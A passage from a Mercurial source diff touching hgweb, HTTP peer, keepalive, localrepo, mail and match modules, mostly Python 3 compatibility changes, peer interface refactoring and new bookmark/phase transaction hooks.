+++ b/mercurial/hgweb/webutil.py
@@ -30,6 +30,7 @@
     mdiff,
     patch,
     pathutil,
+    pycompat,
     templatefilters,
     ui as uimod,
     util,
@@ -170,9 +171,20 @@
     def __len__(self):
         return len(self.siblings)
 
-def annotate(fctx, ui):
+def difffeatureopts(req, ui, section):
     diffopts = patch.difffeatureopts(ui, untrusted=True,
-                                     section='annotate', whitespace=True)
+                                     section=section, whitespace=True)
+
+    for k in ('ignorews', 'ignorewsamount', 'ignorewseol', 'ignoreblanklines'):
+        v = req.form.get(k, [None])[0]
+        if v is not None:
+            v = util.parsebool(v)
+            setattr(diffopts, k, v if v is not None else True)
+
+    return diffopts
+
+def annotate(req, fctx, ui):
+    diffopts = difffeatureopts(req, ui, 'annotate')
     return fctx.annotate(follow=True, linenumber=True, diffopts=diffopts)
 
 def parents(ctx, hide=None):
@@ -406,7 +418,7 @@
     if basectx is None:
         basectx = ctx.p1()
 
-    style = web.config('web', 'style', 'paper')
+    style = web.config('web', 'style')
     if 'style' in req.form:
         style = req.form['style'][0]
 
@@ -467,7 +479,7 @@
     parity = paritygen(web.stripecount)
 
     diffhunks = patch.diffhunks(repo, node1, node2, m, opts=diffopts)
-    for blockno, (header, hunks) in enumerate(diffhunks, 1):
+    for blockno, (fctx1, fctx2, header, hunks) in enumerate(diffhunks, 1):
         if style != 'raw':
             header = header[1:]
         lines = [h + '\n' for h in header]
@@ -578,7 +590,10 @@
     def __iter__(self):
         separator = self.start
         for key, value in sorted(self.vars.iteritems()):
-            yield {'name': key, 'value': str(value), 'separator': separator}
+            yield {'name': key,
+                   'value': pycompat.bytestr(value),
+                   'separator': separator,
+            }
             separator = '&'
 
 class wsgiui(uimod.ui):
diff --git a/mercurial/hgweb/wsgicgi.py b/mercurial/hgweb/wsgicgi.py
--- a/mercurial/hgweb/wsgicgi.py
+++ b/mercurial/hgweb/wsgicgi.py
@@ -24,28 +24,28 @@
     util.setbinary(util.stdout)
 
     environ = dict(encoding.environ.iteritems())
-    environ.setdefault('PATH_INFO', '')
-    if environ.get('SERVER_SOFTWARE', '').startswith('Microsoft-IIS'):
+    environ.setdefault(r'PATH_INFO', '')
+    if environ.get(r'SERVER_SOFTWARE', r'').startswith(r'Microsoft-IIS'):
         # IIS includes script_name in PATH_INFO
-        scriptname = environ['SCRIPT_NAME']
-        if environ['PATH_INFO'].startswith(scriptname):
-            environ['PATH_INFO'] = environ['PATH_INFO'][len(scriptname):]
+        scriptname = environ[r'SCRIPT_NAME']
+        if environ[r'PATH_INFO'].startswith(scriptname):
+            environ[r'PATH_INFO'] = environ[r'PATH_INFO'][len(scriptname):]
 
     stdin = util.stdin
-    if environ.get('HTTP_EXPECT', '').lower() == '100-continue':
+    if environ.get(r'HTTP_EXPECT', r'').lower() == r'100-continue':
         stdin = common.continuereader(stdin, util.stdout.write)
 
-    environ['wsgi.input'] = stdin
-    environ['wsgi.errors'] = util.stderr
-    environ['wsgi.version'] = (1, 0)
-    environ['wsgi.multithread'] = False
-    environ['wsgi.multiprocess'] = True
-    environ['wsgi.run_once'] = True
+    environ[r'wsgi.input'] = stdin
+    environ[r'wsgi.errors'] = util.stderr
+    environ[r'wsgi.version'] = (1, 0)
+    environ[r'wsgi.multithread'] = False
+    environ[r'wsgi.multiprocess'] = True
+    environ[r'wsgi.run_once'] = True
 
-    if environ.get('HTTPS', 'off').lower() in ('on', '1', 'yes'):
-        environ['wsgi.url_scheme'] = 'https'
+    if environ.get(r'HTTPS', r'off').lower() in (r'on', r'1', r'yes'):
+        environ[r'wsgi.url_scheme'] = r'https'
     else:
-        environ['wsgi.url_scheme'] = 'http'
+        environ[r'wsgi.url_scheme'] = r'http'
 
     headers_set = []
     headers_sent = []
@@ -87,4 +87,4 @@
         if not headers_sent:
             write('')   # send headers now if body was empty
     finally:
-        getattr(content, 'close', lambda : None)()
+        getattr(content, 'close', lambda: None)()
diff --git a/mercurial/hook.py b/mercurial/hook.py
--- a/mercurial/hook.py
+++ b/mercurial/hook.py
@@ -189,6 +189,15 @@
     global _redirect
     _redirect = state
 
+def hashook(ui, htype):
+    """return True if a hook is configured for 'htype'"""
+    if not ui.callhooks:
+        return False
+    for hname, cmd in _allhooks(ui):
+        if hname.split('.')[0] == htype and cmd:
+            return True
+    return False
+
 def hook(ui, repo, htype, throw=False, **args):
     if not ui.callhooks:
         return False
diff --git a/mercurial/httpconnection.py b/mercurial/httpconnection.py
--- a/mercurial/httpconnection.py
+++ b/mercurial/httpconnection.py
@@ -18,6 +18,7 @@
 from . import (
     httpclient,
     sslutil,
+    urllibcompat,
     util,
 )
 
@@ -174,13 +175,14 @@
         # object. On Python 2.6.5, it's stored in the _tunnel_host
         # attribute which has no accessor.
         tunhost = getattr(req, '_tunnel_host', None)
-        host = req.get_host()
+        host = urllibcompat.gethost(req)
         if tunhost:
             proxyhost = host
             host = tunhost
         elif req.has_proxy():
-            proxyhost = req.get_host()
-            host = req.get_selector().split('://', 1)[1].split('/', 1)[0]
+            proxyhost = urllibcompat.gethost(req)
+            host = urllibcompat.getselector(
+                req).split('://', 1)[1].split('/', 1)[0]
         else:
             proxyhost = None
 
@@ -219,7 +221,7 @@
         headers = dict(
             (name.title(), val) for name, val in headers.items())
         try:
-            path = req.get_selector()
+            path = urllibcompat.getselector(req)
             if '://' in path:
                 path = path.split('://', 1)[1].split('/', 1)[1]
             if path[0] != '/':
@@ -233,7 +235,7 @@
         # object initialized properly.
         r.recv = r.read
 
-        resp = urlreq.addinfourl(r, r.headers, req.get_full_url())
+        resp = urlreq.addinfourl(r, r.headers, urllibcompat.getfullurl(req))
         resp.code = r.status
         resp.msg = r.reason
         return resp
@@ -242,7 +244,7 @@
     # target, and then allows full URIs in the request path, which it
     # then observes and treats as a signal to do proxying instead.
     def http_open(self, req):
-        if req.get_full_url().startswith('https'):
+        if urllibcompat.getfullurl(req).startswith('https'):
             return self.https_open(req)
         def makehttpcon(*args, **kwargs):
             k2 = dict(kwargs)
@@ -251,9 +253,9 @@
         return self.do_open(makehttpcon, req, False)
 
     def https_open(self, req):
-        # req.get_full_url() does not contain credentials and we may
+        # urllibcompat.getfullurl(req) does not contain credentials and we may
         # need them to match the certificates.
-        url = req.get_full_url()
+        url = urllibcompat.getfullurl(req)
         user, password = self.pwmgr.find_stored_password(url)
         res = readauthforuri(self.ui, url, user)
         if res:
diff --git a/mercurial/httppeer.py b/mercurial/httppeer.py
--- a/mercurial/httppeer.py
+++ b/mercurial/httppeer.py
@@ -9,6 +9,7 @@
 from __future__ import absolute_import
 
 import errno
+import io
 import os
 import socket
 import struct
@@ -38,16 +39,24 @@
     ``header-<N>`` where ``<N>`` is an integer starting at 1. Each header
     name + value will be at most ``limit`` bytes long.
 
-    Returns an iterable of 2-tuples consisting of header names and values.
+    Returns an iterable of 2-tuples consisting of header names and
+    values as native strings.
     """
-    fmt = header + '-%s'
-    valuelen = limit - len(fmt % '000') - len(': \r\n')
+    # HTTP Headers are ASCII. Python 3 requires them to be unicodes,
+    # not bytes. This function always takes bytes in as arguments.
+    fmt = pycompat.strurl(header) + r'-%s'
+    # Note: it is *NOT* a bug that the last bit here is a bytestring
+    # and not a unicode: we're just getting the encoded length anyway,
+    # and using an r-string to make it portable between Python 2 and 3
+    # doesn't work because then the \r is a literal backslash-r
+    # instead of a carriage return.
+    valuelen = limit - len(fmt % r'000') - len(': \r\n')
     result = []
 
     n = 0
     for i in xrange(0, len(value), valuelen):
         n += 1
-        result.append((fmt % str(n), value[i:i + valuelen]))
+        result.append((fmt % str(n), pycompat.strurl(value[i:i + valuelen])))
 
     return result
 
@@ -86,13 +95,51 @@
 
     resp.__class__ = readerproxy
 
+class _multifile(object):
+    def __init__(self, *fileobjs):
+        for f in fileobjs:
+            if not util.safehasattr(f, 'length'):
+                raise ValueError(
+                    '_multifile only supports file objects that '
+                    'have a length but this one does not:', type(f), f)
+        self._fileobjs = fileobjs
+        self._index = 0
+
+    @property
+    def length(self):
+        return sum(f.length for f in self._fileobjs)
+
+    def read(self, amt=None):
+        if amt <= 0:
+            return ''.join(f.read() for f in self._fileobjs)
+        parts = []
+        while amt and self._index < len(self._fileobjs):
+            parts.append(self._fileobjs[self._index].read(amt))
+            got = len(parts[-1])
+            if got < amt:
+                self._index += 1
+            amt -= got
+        return ''.join(parts)
+
+    def seek(self, offset, whence=os.SEEK_SET):
+        if whence != os.SEEK_SET:
+            raise NotImplementedError(
+                '_multifile does not support anything other'
+                ' than os.SEEK_SET for whence on seek()')
+        if offset != 0:
+            raise NotImplementedError(
+                '_multifile only supports seeking to start, but that '
+                'could be fixed if you need it')
+        for f in self._fileobjs:
+            f.seek(0)
+        self._index = 0
+
 class httppeer(wireproto.wirepeer):
     def __init__(self, ui, path):
-        self.path = path
-        self.caps = None
-        self.handler = None
-        self.urlopener = None
-        self.requestbuilder = None
+        self._path = path
+        self._caps = None
+        self._urlopener = None
+        self._requestbuilder = None
         u = util.url(path)
         if u.query or u.fragment:
             raise error.Abort(_('unsupported URL component: "%s"') %
@@ -101,39 +148,60 @@
         # urllib cannot handle URLs with embedded user or passwd
         self._url, authinfo = u.authinfo()
 
-        self.ui = ui
-        self.ui.debug('using %s\n' % self._url)
+        self._ui = ui
+        ui.debug('using %s\n' % self._url)
 
-        self.urlopener = url.opener(ui, authinfo)
-        self.requestbuilder = urlreq.request
+        self._urlopener = url.opener(ui, authinfo)
+        self._requestbuilder = urlreq.request
 
     def __del__(self):
-        urlopener = getattr(self, 'urlopener', None)
+        urlopener = getattr(self, '_urlopener', None)
         if urlopener:
             for h in urlopener.handlers:
                 h.close()
-                getattr(h, "close_all", lambda : None)()
+                getattr(h, "close_all", lambda: None)()
+
+    # Begin of _basepeer interface.
+
+    @util.propertycache
+    def ui(self):
+        return self._ui
 
     def url(self):
-        return self.path
+        return self._path
+
+    def local(self):
+        return None
+
+    def peer(self):
+        return self
+
+    def canpush(self):
+        return True
+
+    def close(self):
+        pass
+
+    # End of _basepeer interface.
+
+    # Begin of _basewirepeer interface.
+
+    def capabilities(self):
+        if self._caps is None:
+            try:
+                self._fetchcaps()
+            except error.RepoError:
+                self._caps = set()
+            self.ui.debug('capabilities: %s\n' %
+                          (' '.join(self._caps or ['none'])))
+        return self._caps
+
+    # End of _basewirepeer interface.
 
     # look up capabilities only when needed
 
     def _fetchcaps(self):
-        self.caps = set(self._call('capabilities').split())
-
-    def _capabilities(self):
-        if self.caps is None:
-            try:
-                self._fetchcaps()
-            except error.RepoError:
-                self.caps = set()
-            self.ui.debug('capabilities: %s\n' %
-                          (' '.join(self.caps or ['none'])))
-        return self.caps
-
-    def lock(self):
-        raise error.Abort(_('operation not supported over http'))
+        self._caps = set(self._call('capabilities').split())
 
     def _callstream(self, cmd, _compressible=False, **args):
         if cmd == 'pushkey':
@@ -148,18 +216,20 @@
         # Important: don't use self.capable() here or else you end up
         # with infinite recursion when trying to look up capabilities
         # for the first time.
-        postargsok = self.caps is not None and 'httppostargs' in self.caps
-        # TODO: support for httppostargs when data is a file-like
-        # object rather than a basestring
-        canmungedata = not data or isinstance(data, basestring)
-        if postargsok and canmungedata:
+        postargsok = self._caps is not None and 'httppostargs' in self._caps
+        if postargsok and args:
             strargs = urlreq.urlencode(sorted(args.items()))
-            if strargs:
-                if not data:
-                    data = strargs
-                elif isinstance(data, basestring):
-                    data = strargs + data
-                headers['X-HgArgs-Post'] = len(strargs)
+            if not data:
+                data = strargs
+            else:
+                if isinstance(data, basestring):
+                    i = io.BytesIO(data)
+                    i.length = len(data)
+                    data = i
+                argsio = io.BytesIO(strargs)
+                argsio.length = len(strargs)
+                data = _multifile(argsio, data)
+            headers[r'X-HgArgs-Post'] = len(strargs)
         else:
             if len(args) > 0:
                 httpheader = self.capable('httpheader')
@@ -182,10 +252,10 @@
         elif data is not None:
             size = len(data)
         if size and self.ui.configbool('ui', 'usehttp2'):
-            headers['Expect'] = '100-Continue'
-            headers['X-HgHttp2'] = '1'
-        if data is not None and 'Content-Type' not in headers:
-            headers['Content-Type'] = 'application/mercurial-0.1'
+            headers[r'Expect'] = r'100-Continue'
+            headers[r'X-HgHttp2'] = r'1'
+        if data is not None and r'Content-Type' not in headers:
+            headers[r'Content-Type'] = r'application/mercurial-0.1'
 
         # Tell the server we accept application/mercurial-0.2 and multiple
         # compression formats if the server is capable of emitting those
@@ -193,7 +263,7 @@
         protoparams = []
 
         mediatypes = set()
-        if self.caps is not None:
+        if self._caps is not None:
             mt = self.capable('httpmediatype')
             if mt:
                 protoparams.append('0.1')
@@ -219,15 +289,15 @@
                 varyheaders.append(header)
 
         if varyheaders:
-            headers['Vary'] = ','.join(varyheaders)
+            headers[r'Vary'] = r','.join(varyheaders)
 
-        req = self.requestbuilder(cu, data, headers)
+        req = self._requestbuilder(pycompat.strurl(cu), data, headers)
 
         if data is not None:
             self.ui.debug("sending %s bytes\n" % size)
             req.add_unredirected_header('Content-Length', '%d' % size)
         try:
-            resp = self.urlopener.open(req)
+            resp = self._urlopener.open(req)
         except urlerr.httperror as inst:
             if inst.code == 401:
                 raise error.Abort(_('authorization failed'))
@@ -241,7 +311,7 @@
         _wraphttpresponse(resp)
 
         # record the url we got redirected to
-        resp_url = resp.geturl()
+        resp_url = pycompat.bytesurl(resp.geturl())
         if resp_url.endswith(qs):
             resp_url = resp_url[:-len(qs)]
         if self._url.rstrip('/') != resp_url.rstrip('/'):
@@ -249,9 +319,9 @@
                 self.ui.warn(_('real URL is %s\n') % resp_url)
         self._url = resp_url
         try:
-            proto = resp.getheader('content-type')
+            proto = pycompat.bytesurl(resp.getheader(r'content-type', r''))
         except AttributeError:
-            proto = resp.headers.get('content-type', '')
+            proto = pycompat.bytesurl(resp.headers.get(r'content-type', r''))
 
         safeurl = util.hidepassword(self._url)
         if proto.startswith('application/hg-error'):
diff --git a/mercurial/i18n.py b/mercurial/i18n.py
--- a/mercurial/i18n.py
+++ b/mercurial/i18n.py
@@ -29,7 +29,7 @@
     unicode = str
 
 _languages = None
-if (pycompat.osname == 'nt'
+if (pycompat.iswindows
     and 'LANGUAGE' not in encoding.environ
     and 'LC_ALL' not in encoding.environ
     and 'LC_MESSAGES' not in encoding.environ
@@ -58,7 +58,7 @@
     except AttributeError:
         _ugettext = t.gettext
 
-_msgcache = {}
+_msgcache = {}  # encoding: {message: translation}
 
 def gettext(message):
     """Translate message.
@@ -74,7 +74,8 @@
     if message is None or not _ugettext:
         return message
 
-    if message not in _msgcache:
+    cache = _msgcache.setdefault(encoding.encoding, {})
+    if message not in cache:
         if type(message) is unicode:
             # goofy unicode docstrings in test
             paragraphs = message.split(u'\n\n')
@@ -90,11 +91,11 @@
             # the Python encoding defaults to 'ascii', this fails if the
             # translated string use non-ASCII characters.
             encodingstr = pycompat.sysstr(encoding.encoding)
-            _msgcache[message] = u.encode(encodingstr, "replace")
+            cache[message] = u.encode(encodingstr, "replace")
         except LookupError:
             # An unknown encoding results in a LookupError.
-            _msgcache[message] = message
-    return _msgcache[message]
+            cache[message] = message
+    return cache[message]
 
 def _plain():
     if ('HGPLAIN' not in encoding.environ
diff --git a/mercurial/keepalive.py b/mercurial/keepalive.py
--- a/mercurial/keepalive.py
+++ b/mercurial/keepalive.py
@@ -90,7 +90,10 @@
 import sys
 import threading
 
+from .i18n import _
 from . import (
+    pycompat,
+    urllibcompat,
     util,
 )
 
@@ -133,7 +136,8 @@
                 del self._connmap[connection]
                 del self._readymap[connection]
                 self._hostmap[host].remove(connection)
-                if not self._hostmap[host]: del self._hostmap[host]
+                if not self._hostmap[host]:
+                    del self._hostmap[host]
         finally:
             self._lock.release()
 
@@ -203,7 +207,7 @@
         return self.do_open(HTTPConnection, req)
 
     def do_open(self, http_class, req):
-        host = req.get_host()
+        host = urllibcompat.gethost(req)
         if not host:
             raise urlerr.urlerror('no host given')
 
@@ -231,6 +235,11 @@
                 self._cm.add(host, h, 0)
                 self._start_transaction(h, req)
                 r = h.getresponse()
+        # The string form of BadStatusLine is the status line. Add some context
+        # to make the error message slightly more useful.
+        except httplib.BadStatusLine as err:
+            raise urlerr.urlerror(
+                _('bad HTTP status line: %s') % pycompat.sysbytes(err.line))
         except (socket.error, httplib.HTTPException) as err:
             raise urlerr.urlerror(err)
 
@@ -309,10 +318,11 @@
             if n in headers:
                 skipheaders['skip_' + n.replace('-', '_')] = 1
         try:
-            if req.has_data():
-                data = req.get_data()
+            if urllibcompat.hasdata(req):
+                data = urllibcompat.getdata(req)
                 h.putrequest(
-                    req.get_method(), req.get_selector(), **skipheaders)
+                    req.get_method(), urllibcompat.getselector(req),
+                    **skipheaders)
                 if 'content-type' not in headers:
                     h.putheader('Content-type',
                                 'application/x-www-form-urlencoded')
@@ -320,13 +330,14 @@
                     h.putheader('Content-length', '%d' % len(data))
             else:
                 h.putrequest(
-                    req.get_method(), req.get_selector(), **skipheaders)
+                    req.get_method(), urllibcompat.getselector(req),
+                    **skipheaders)
         except socket.error as err:
             raise urlerr.urlerror(err)
         for k, v in headers.items():
             h.putheader(k, v)
         h.endheaders()
-        if req.has_data():
+        if urllibcompat.hasdata(req):
             h.send(data)
 
 class HTTPHandler(KeepAliveHandler, urlreq.httphandler):
@@ -353,9 +364,12 @@
 
 
     def __init__(self, sock, debuglevel=0, strict=0, method=None):
+        extrakw = {}
+        if not pycompat.ispy3:
+            extrakw['strict'] = True
+            extrakw['buffering'] = True
         httplib.HTTPResponse.__init__(self, sock, debuglevel=debuglevel,
-                                      strict=True, method=method,
-                                      buffering=True)
+                                      method=method, **extrakw)
         self.fileno = sock.fileno
         self.code = None
         self._rbuf = ''
@@ -388,7 +402,7 @@
     def read(self, amt=None):
         # the _rbuf test is only in this first if for speed.  It's not
         # logically necessary
-        if self._rbuf and not amt is None:
+        if self._rbuf and amt is not None:
             L = len(self._rbuf)
             if amt > L:
                 amt -= L
@@ -611,7 +625,8 @@
         f = fo.readline()
         if f:
             foo = foo + f
-        else: break
+        else:
+            break
     fo.close()
     m = md5(foo)
     print(format % ('keepalive readline', m.hexdigest()))
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -31,6 +31,7 @@
     context,
     dirstate,
     dirstateguard,
+    discovery,
     encoding,
     error,
     exchange,
@@ -49,6 +50,7 @@
     phases,
     pushkey,
     pycompat,
+    repository,
     repoview,
     revset,
     revsetlang,
@@ -144,45 +146,52 @@
               'unbundle'}
 legacycaps = moderncaps.union({'changegroupsubset'})
 
-class localpeer(peer.peerrepository):
+class localpeer(repository.peer):
     '''peer for a local repo; reflects only the most recent API'''
 
     def __init__(self, repo, caps=None):
+        super(localpeer, self).__init__()
+
         if caps is None:
             caps = moderncaps.copy()
-        peer.peerrepository.__init__(self)
         self._repo = repo.filtered('served')
-        self.ui = repo.ui
+        self._ui = repo.ui
         self._caps = repo._restrictcapabilities(caps)
-        self.requirements = repo.requirements
-        self.supportedformats = repo.supportedformats
+
+    # Begin of _basepeer interface.
+
+    @util.propertycache
+    def ui(self):
+        return self._ui
+
+    def url(self):
+        return self._repo.url()
+
+    def local(self):
+        return self._repo
+
+    def peer(self):
+        return self
+
+    def canpush(self):
+        return True
 
     def close(self):
         self._repo.close()
 
-    def _capabilities(self):
-        return self._caps
-
-    def local(self):
-        return self._repo
+    # End of _basepeer interface.
 
-    def canpush(self):
-        return True
-
-    def url(self):
-        return self._repo.url()
-
-    def lookup(self, key):
-        return self._repo.lookup(key)
+    # Begin of _basewirecommands interface.
 
     def branchmap(self):
         return self._repo.branchmap()
 
-    def heads(self):
-        return self._repo.heads()
+    def capabilities(self):
+        return self._caps
 
-    def known(self, nodes):
-        return self._repo.known(nodes)
+    def debugwireargs(self, one, two, three=None, four=None, five=None):
+        """Used to test argument passing over the wire"""
+        return "%s %s %s %s %s" % (one, two, three, four, five)
 
     def getbundle(self, source, heads=None, common=None, bundlecaps=None,
                   **kwargs):
@@ -199,8 +208,24 @@
         else:
             return changegroup.getunbundler('01', cb, None)
 
-    # TODO We might want to move the next two calls into legacypeer and add
-    # unbundle instead.
+    def heads(self):
+        return self._repo.heads()
+
+    def known(self, nodes):
+        return self._repo.known(nodes)
+
+    def listkeys(self, namespace):
+        return self._repo.listkeys(namespace)
+
+    def lookup(self, key):
+        return self._repo.lookup(key)
+
+    def pushkey(self, namespace, key, old, new):
+        return self._repo.pushkey(namespace, key, old, new)
+
+    def stream_out(self):
+        raise error.Abort(_('cannot perform stream clone against local '
+                            'peer'))
 
     def unbundle(self, cg, heads, url):
         """apply a bundle on a repo
@@ -237,37 +262,41 @@
         except error.PushRaced as exc:
             raise error.ResponseError(_('push failed:'), str(exc))
 
-    def lock(self):
-        return self._repo.lock()
+    # End of _basewirecommands interface.
 
-    def pushkey(self, namespace, key, old, new):
-        return self._repo.pushkey(namespace, key, old, new)
+    # Begin of peer interface.
 
-    def listkeys(self, namespace):
-        return self._repo.listkeys(namespace)
+    def iterbatch(self):
+        return peer.localiterbatcher(self)
 
-    def debugwireargs(self, one, two, three=None, four=None, five=None):
-        '''used to test argument passing over the wire'''
-        return "%s %s %s %s %s" % (one, two, three, four, five)
+    # End of peer interface.
 
-class locallegacypeer(localpeer):
+class locallegacypeer(repository.legacypeer, localpeer):
     '''peer extension which implements legacy methods too; used for tests with
     restricted capabilities'''
 
     def __init__(self, repo):
-        localpeer.__init__(self, repo, caps=legacycaps)
+        super(locallegacypeer, self).__init__(repo, caps=legacycaps)
+
+    # Begin of baselegacywirecommands interface.
+
+    def between(self, pairs):
+        return self._repo.between(pairs)
 
     def branches(self, nodes):
         return self._repo.branches(nodes)
 
-    def between(self, pairs):
-        return self._repo.between(pairs)
-
     def changegroup(self, basenodes, source):
-        return changegroup.changegroup(self._repo, basenodes, source)
+        outgoing = discovery.outgoing(self._repo, missingroots=basenodes,
+                                      missingheads=self._repo.heads())
+        return changegroup.makechangegroup(self._repo, outgoing, '01', source)
 
     def changegroupsubset(self, bases, heads, source):
-        return changegroup.changegroupsubset(self._repo, bases, heads, source)
+        outgoing = discovery.outgoing(self._repo, missingroots=bases,
+                                      missingheads=heads)
+        return changegroup.makechangegroup(self._repo, outgoing, '01', source)
+
+    # End of baselegacywirecommands interface.
 
 # Increment the sub-version when the revlog v2 format changes to lock out old
 # clients.
@@ -572,9 +601,21 @@
                                                    'aggressivemergedeltas')
         self.svfs.options['aggressivemergedeltas'] = aggressivemergedeltas
         self.svfs.options['lazydeltabase'] = not scmutil.gddeltaconfig(self.ui)
-        chainspan = self.ui.configbytes('experimental', 'maxdeltachainspan', -1)
+        chainspan = self.ui.configbytes('experimental', 'maxdeltachainspan')
         if 0 <= chainspan:
             self.svfs.options['maxdeltachainspan'] = chainspan
+        mmapindexthreshold = self.ui.configbytes('experimental',
+                                                 'mmapindexthreshold')
+        if mmapindexthreshold is not None:
+            self.svfs.options['mmapindexthreshold'] = mmapindexthreshold
+        withsparseread = self.ui.configbool('experimental', 'sparse-read')
+        srdensitythres = float(self.ui.config('experimental',
+                                              'sparse-read.density-threshold'))
+        srmingapsize = self.ui.configbytes('experimental',
+                                           'sparse-read.min-gap-size')
+        self.svfs.options['with-sparse-read'] = withsparseread
+        self.svfs.options['sparse-read-density-threshold'] = srdensitythres
+        self.svfs.options['sparse-read-min-gap-size'] = srmingapsize
 
         for r in self.requirements:
             if r.startswith('exp-compression-'):
@@ -1202,8 +1243,25 @@
             # This will have to be fixed before we remove the experimental
             # gating.
             tracktags(tr2)
-            reporef().hook('pretxnclose', throw=True,
-                           txnname=desc, **pycompat.strkwargs(tr.hookargs))
+            repo = reporef()
+            if hook.hashook(repo.ui, 'pretxnclose-bookmark'):
+                for name, (old, new) in sorted(tr.changes['bookmarks'].items()):
+                    args = tr.hookargs.copy()
+                    args.update(bookmarks.preparehookargs(name, old, new))
+                    repo.hook('pretxnclose-bookmark', throw=True,
+                              txnname=desc,
+                              **pycompat.strkwargs(args))
+            if hook.hashook(repo.ui, 'pretxnclose-phase'):
+                cl = repo.unfiltered().changelog
+                for rev, (old, new) in tr.changes['phases'].items():
+                    args = tr.hookargs.copy()
+                    node = hex(cl.node(rev))
+                    args.update(phases.preparehookargs(node, old, new))
+                    repo.hook('pretxnclose-phase', throw=True, txnname=desc,
+                              **pycompat.strkwargs(args))
+
+            repo.hook('pretxnclose', throw=True,
+                      txnname=desc, **pycompat.strkwargs(tr.hookargs))
         def releasefn(tr, success):
             repo = reporef()
             if success:
@@ -1247,10 +1305,29 @@
             # fixes the function accumulation.
             hookargs = tr2.hookargs
 
-            def hook():
-                reporef().hook('txnclose', throw=False, txnname=desc,
-                               **pycompat.strkwargs(hookargs))
-            reporef()._afterlock(hook)
+            def hookfunc():
+                repo = reporef()
+                if hook.hashook(repo.ui, 'txnclose-bookmark'):
+                    bmchanges = sorted(tr.changes['bookmarks'].items())
+                    for name, (old, new) in bmchanges:
+                        args = tr.hookargs.copy()
+                        args.update(bookmarks.preparehookargs(name, old, new))
+                        repo.hook('txnclose-bookmark', throw=False,
+                                  txnname=desc, **pycompat.strkwargs(args))
+
+                if hook.hashook(repo.ui, 'txnclose-phase'):
+                    cl = repo.unfiltered().changelog
+                    phasemv = sorted(tr.changes['phases'].items())
+                    for rev, (old, new) in phasemv:
+                        args = tr.hookargs.copy()
+                        node = hex(cl.node(rev))
+                        args.update(phases.preparehookargs(node, old, new))
+                        repo.hook('txnclose-phase', throw=False, txnname=desc,
+                                  **pycompat.strkwargs(args))
+
+                repo.hook('txnclose', throw=False, txnname=desc,
+                          **pycompat.strkwargs(hookargs))
+            reporef()._afterlock(hookfunc)
         tr.addfinalize('txnclose-hook', txnclosehook)
         tr.addpostclose('warms-cache', self._buildcacheupdater(tr))
         def txnaborthook(tr2):
@@ -1467,6 +1544,13 @@
             # dirstate is invalidated separately in invalidatedirstate()
             if k == 'dirstate':
                 continue
+            if (k == 'changelog' and
+                self.currenttransaction() and
+                self.changelog._delayed):
+                # The changelog object may store unwritten revisions. We don't
+                # want to lose them.
+                # TODO: Solve the problem instead of working around it.
+                continue
 
             if clearfilecache:
                 del self._filecache[k]
@@ -2141,7 +2225,6 @@
         to be performed before pushing, or call it if they override push
         command.
         """
-        pass
 
     @unfilteredpropertycache
     def prepushoutgoinghooks(self):
diff --git a/mercurial/mail.py b/mercurial/mail.py
--- a/mercurial/mail.py
+++ b/mercurial/mail.py
@@ -10,8 +10,8 @@
 import email
 import email.charset
 import email.header
+import email.message
 import os
-import quopri
 import smtplib
 import socket
 import time
@@ -216,17 +216,17 @@
     '''Return MIME message.
     Quoted-printable transfer encoding will be used if necessary.
     '''
-    enc = None
+    cs = email.charset.Charset(charset)
+    msg = email.message.Message()
+    msg.set_type('text/' + subtype)
+
     for line in body.splitlines():
         if len(line) > 950:
-            body = quopri.encodestring(body)
-            enc = "quoted-printable"
+            cs.body_encoding = email.charset.QP
             break
 
-    msg = email.MIMEText.MIMEText(body, subtype, charset)
-    if enc:
-        del msg['Content-Transfer-Encoding']
-        msg['Content-Transfer-Encoding'] = enc
+    msg.set_payload(body, cs)
+
     return msg
 
 def _charsets(ui):
diff --git a/mercurial/manifest.py b/mercurial/manifest.py
--- a/mercurial/manifest.py
+++ b/mercurial/manifest.py
@@ -442,6 +442,8 @@
         self._lm[key] = node, self.flags(key, '')
 
     def __contains__(self, key):
+        if key is None:
+            return False
         return key in self._lm
 
     def __delitem__(self, key):
@@ -1231,7 +1233,8 @@
 
         super(manifestrevlog, self).__init__(opener, indexfile,
                                              # only root indexfile is cached
-                                             checkambig=not bool(dir))
+                                             checkambig=not bool(dir),
+                                             mmaplargeindex=True)
 
     @property
     def fulltextcache(self):
diff --git a/mercurial/match.py b/mercurial/match.py
--- a/mercurial/match.py
+++ b/mercurial/match.py
@@ -5,7 +5,7 @@
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 import copy
 import os
@@ -18,6 +18,11 @@
     util,
 )
 
+allpatternkinds = ('re', 'glob', 'path', 'relglob', 'relpath', 'relre',
+                   'listfile', 'listfile0', 'set', 'include', 'subinclude',
+                   'rootfilesin')
+cwdrelativepatternkinds = ('relpath', 'glob')
+
 propertycache = util.propertycache
 
 def _rematcher(regex):
@@ -190,7 +195,7 @@
     normalized and rooted patterns and with listfiles expanded.'''
     kindpats = []
     for kind, pat in [_patsplit(p, default) for p in patterns]:
-        if kind in ('glob', 'relpath'):
+        if kind in cwdrelativepatternkinds:
             pat = pathutil.canonpath(root, cwd, pat, auditor)
         elif kind in ('relglob', 'path', 'rootfilesin'):
             pat = util.normpath(pat)
@@ -245,7 +250,6 @@
     def bad(self, f, msg):
         '''Callback from dirstate.walk for each explicit file that can't be
         found/accessed, with an error message.'''
-        pass
 
     # If an explicitdir is set, it will be called when an explicitly listed
     # directory is visited.
@@ -575,28 +579,29 @@
 
     The paths are remapped to remove/insert the path as needed:
 
-    >>> m1 = match('root', '', ['a.txt', 'sub/b.txt'])
-    >>> m2 = subdirmatcher('sub', m1)
-    >>> bool(m2('a.txt'))
+    >>> from . import pycompat
+    >>> m1 = match(b'root', b'', [b'a.txt', b'sub/b.txt'])
+    >>> m2 = subdirmatcher(b'sub', m1)
+    >>> bool(m2(b'a.txt'))
     False
-    >>> bool(m2('b.txt'))
+    >>> bool(m2(b'b.txt'))
     True
-    >>> bool(m2.matchfn('a.txt'))
+    >>> bool(m2.matchfn(b'a.txt'))
     False
-    >>> bool(m2.matchfn('b.txt'))
+    >>> bool(m2.matchfn(b'b.txt'))
     True
     >>> m2.files()
     ['b.txt']
-    >>> m2.exact('b.txt')
+    >>> m2.exact(b'b.txt')
     True
-    >>> util.pconvert(m2.rel('b.txt'))
